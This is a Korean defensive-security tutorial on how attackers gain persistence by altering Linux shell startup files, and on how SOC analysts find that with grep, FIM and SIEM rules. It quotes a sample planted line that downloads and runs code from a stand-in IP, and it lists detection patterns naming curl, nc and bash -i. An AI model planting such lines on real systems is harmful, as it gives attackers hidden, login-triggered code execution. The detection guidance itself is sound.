Linux 시스템 보안 기초 · 33/50편
이 글은
리눅스 시스템 기초·파일 · 권한 · 사용자 관리·서비스 · 프로세스 관리시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다.
shell 초기화 파일은 '로그인/쉘 시작 시 자동 실행되는 스크립트'입니다. 여기에 한 줄만 심으면, 사용자가 로그인할 때마다 악성 코드가 실행됩니다 — 조용하고 강력한 지속성입니다.
주요 초기화 파일과 실행 시점:
| 파일 | 실행 시점 |
|---|---|
~/.bashrc | 대화형 비로그인 쉘 시작 |
~/.bash_profile, ~/.profile | 로그인 쉘 시작 |
/etc/profile, /etc/profile.d/* | 전역 로그인 쉘 |
/etc/bash.bashrc | 전역 대화형 쉘 |
전역 파일(/etc/profile.d/)은 모든 사용자에게 적용되어 파급력이 큽니다.
사용자 로그인
│
▼
~/.bash_profile → ~/.bashrc 실행
│ 여기에 심긴 한 줄:
│ (curl http://.../x | bash &)
▼
로그인할 때마다 악성 코드 자동 실행 → 지속성
쉘은 시작 시 종류(로그인/비로그인, 대화형/비대화형)에 따라 정해진 초기화 파일을 순서대로 읽어 실행합니다. 공격자는 이 파일 끝에 재접속·재실행 명령을 추가합니다. 사용자가 눈치채기 어렵도록 긴 정상 설정 사이에 숨기거나, 백그라운드(&)로 조용히 실행합니다.
전역 파일(/etc/profile.d/)에 심으면 모든 로그인 사용자가 트리거가 되어 파급력이 큽니다. 그래서 사용자 파일뿐 아니라 전역 파일까지 함께 점검해야 합니다.
# 사용자별 초기화 파일의 의심 패턴
sudo grep -rEi 'curl|wget|base64|/tmp/|/dev/shm|nc |bash -i|&\s*$' \
/home/*/.bashrc /home/*/.bash_profile /home/*/.profile /root/.bashrc 2>/dev/null
# 전역 초기화 파일 점검
sudo grep -rEi 'curl|wget|base64|/tmp/' /etc/profile /etc/profile.d/ /etc/bash.bashrc 2>/dev/null
# 최근 변경된 초기화 파일
sudo find /home -maxdepth 2 -name '.bashrc' -o -name '.bash_profile' 2>/dev/null | xargs ls -l
의심 패턴 검색 형식입니다. (예시 출력 — .bashrc 오염 가정)
$ sudo grep -rEi 'curl|bash -i' /home/*/.bashrc
/home/alice/.bashrc:(curl -s http://203.0.113.10/x | bash &) 2>/dev/null
alice의 .bashrc 끝에 백그라운드 다운로드-실행이 심겨 있습니다. alice가 로그인할 때마다 실행되므로, 해당 줄을 제거하고 유입 경로(누가 언제 수정했나)를 조사합니다. (본 실습 컨테이너에는 이런 오염이 없어 형식 예시입니다.)
bash -i)/인코딩 명령&) 실행 은닉/etc/profile.d/의 낯선 스크립트이 벡터는 '로그인'이라는 지극히 정상적인 행위를 트리거로 삼아 매우 은밀합니다.
~/.bashrc 등 FIM 감시shell 초기화 파일 오염은 MITRE T1546.004(Unix Shell Configuration Modification)입니다. Wazuh FIM으로 사용자·전역 초기화 파일을 감시하고 변경을 알람합니다. SIEM에서는 이 변경을 로그인 이벤트와 연계해 '로그인 트리거 지속성'을 탐지합니다. 발견된 URL/IP는 IOC로 등록합니다.
[ ] 사용자 초기화 파일 의심 패턴 점검
[ ] 전역 profile.d 점검
[ ] 초기화 파일 변경 시각 확인
[ ] 초기화 파일 FIM 설정
다음 편에서는 34. SSH 인증키 기반 지속성 를 다룹니다. 15편에서 본 SSH 키를, 이번엔 '지속성 확립' 관점에서 다시 분석합니다.
본 실습은 격리된 테스트 VM(Rocky Linux / Ubuntu, VMware) 및 테스트 계정 환경을 기준으로 하며, 운영 서버를 대상으로 하지 않습니다. 실행 결과는 실제 캡처와 예시 출력을 명확히 구분해 표기합니다.